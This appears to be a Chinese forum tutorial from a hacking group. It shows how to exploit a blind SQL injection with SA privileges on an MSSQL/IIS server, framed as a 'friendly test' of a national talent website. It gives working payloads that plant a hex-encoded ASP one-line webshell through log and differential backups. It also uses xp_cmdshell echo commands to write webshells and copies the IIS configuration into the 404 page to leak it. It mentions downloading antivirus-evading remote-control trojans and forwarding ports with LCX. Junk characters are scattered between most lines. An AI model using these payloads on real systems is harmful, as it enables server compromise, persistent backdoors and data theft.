sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
7 H* o1 `6 N8 W/ q6 P, g
* A. t3 e$ @9 A
$ ~) i! i) ?" C* W0 a9 t                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
' M, r6 W+ p; s
                                                                 
                                                                 
7 ~2 ]  H! y, F: T+ I, z5 w$ X7 q                                                                  论坛： http://www.90team.net/
# g# D! [+ A6 g7 {1 K% O9 ?; v

/ e4 r: z/ A. `$ N! |, x7 Z
$ i& V$ F- P, T2 |6 a1 D友情检测国家人才网

. e* Q% ^" p4 m6 Z0 ~" K; e
内容：MSSQL注入SA权限不显错模式下的入侵
& X" i3 a" @: D

" o  v9 G; x* ~" \: A+ E0 {一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
/ i! n  C  c; W8 h7 e
我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
" ^# l0 V- Z/ s+ d1 a
/ A% L' r* V, C% }9 ~7 q$ Z- C. `+ j
这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
9 e0 U! F; W# ]% m, {6 \7 o4 R
思路：
- X; y$ a. w6 \) V# x' s- H" Z
首先：
2 G1 U- t1 a4 o% A
0 a# l. l" c' ]通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。

1.日志备份获得Webshell
/ D6 r& L. B9 j( ~$ G5 b% O
' Z, ~& L) O7 I5 D: Z% g2.数据库差异备份获得Webshell

4.直接下载免杀远控木马。
' v/ y" Y# p3 C1 P. O( G/ m) i* v
5.直接下载LCX将服务器端口转发出来
0 Q+ n3 T+ N1 H) i1 [% I5 g2 `5 U# ~
/ d/ U0 h+ R, F# z6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。

3 {( S( [" v$ G+ p# I$ H8 \. [* h5 T

在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
; I# `: _, T, r1 `. z  D' n8 W, c- C
5 N! J" q) k7 d0 O我直接演示后面一个方法
6 c* B  Y( y+ P

) D9 Q& q6 b% l; n( \  J- U分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL




◆日志备份：
: r# ?4 b9 y' R3 ^
; P) o; j/ N% E9 r2 S
1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

2. 插入数据
% z# Q1 }( p) o;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
4 U- V7 G0 `  M" `" l
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
; J  M# D' V9 d$ [. U. v% s5 c4 K  
7 w; o+ y$ F9 r" a3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
% I4 c& l( E  {# V# y

5 U+ U. l2 S1 s9 s& ^7 r
◆数据库差异备份
( t. ]5 a& A- s9 Z+ w% A
% {$ Y: g6 H2 u（1. 进行差异备份准备工作
# s! Y( ^  h! [9 _
2 H; k  p7 G  D  n  o! y;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
; Z. c4 s2 g+ l5 c  A' I( c" O* W/ _' _

0 c' X' O  I  j& Q# O6 E# r（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
( L3 g- ?% `* o2 B3 @* n5 s
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
, V' f: f, X4 ^3 ~% O. x
0 }# f  s' ~# K# m, T& y' ]3. 备份数据库并清理临时文件

  K$ u: J& N5 G' l;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
1 h/ |9 g  U8 `, B, V
0x633A5C746573742E617370  为 c:\test.asp  删除临时文件

  J# F: [: ?8 f' u% a. L. p

用^转义字符来写ASP(一句话木马)文件的方法:   
9 b% G+ _4 U5 M: T4 |
1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
# @5 ^/ @  |9 F5 J7 t6 G
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
5 ^# w4 N2 D/ N5 R
+ W, q( r/ ~3 O7 O) j8 C读取IIS配置信息获取web路径
) b7 }# m+ d+ O; M  n
' d; m) G) S5 G( ]7 _     
! l5 H* F9 L9 |9 M, M* k     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
& C2 f1 J' F- A& D& W. P, {- X

; d: D( q% m' A* N& Z, ?


, B* L1 t/ G4 _- t) x
, n6 @+ W& T* P- Z# l
, z3 }& ?- ~- Q! o) z9 c





: s7 ]6 k2 K; C: s







, `6 q* m% d& F# ]) X. \: J
8 B( ]5 _, ^5 g/ ^: J: e9 i5 \  X


8 k( W; {! C3 c0 h
& g2 l# P; T" O5 O% ^0 p+ V3 E" d



8 C) r5 K5 {2 Z! U# M& W
# u/ h! R# m, N2 H
1 d  Q! X. w; l/ T; P! b7 h2 w+ U
1 r, }4 T% U: m* {% L


& ]  F, B' _6 u# i, f+ X- m
  ]) P6 G! g/ y( X) ?# ?- b# D

& X  h/ l6 x8 Z0 P$ ~, u


# E3 W/ \, W: _& Z/ Y  _





/ w) Y9 u$ C  ^